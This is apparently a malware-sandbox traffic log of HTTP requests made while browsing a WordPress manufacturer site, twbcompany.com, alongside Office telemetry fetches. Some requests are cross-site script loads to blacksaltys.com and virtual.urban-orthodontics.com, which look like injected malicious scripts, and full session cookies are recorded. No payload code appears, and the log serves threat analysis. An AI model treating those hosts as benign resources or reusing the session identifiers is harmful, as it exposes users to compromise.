Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/services/product-design/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303050.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/services/product-design/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303050.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/services/product-design/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303050.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/product-design-hero.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/services/product-design/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303050.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/product-design-hero.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303050.0.0.0
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /products/tailor-welded-hotform-blanks/ HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303057.0.0.0
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/products/tailor-welded-hotform-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303057.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/09/hot-formed-hero.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/tailor-welded-hotform-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303057.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/products/tailor-welded-hotform-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303057.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/products/tailor-welded-hotform-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303057.0.0.0
Source: global traffic	HTTP traffic detected: GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
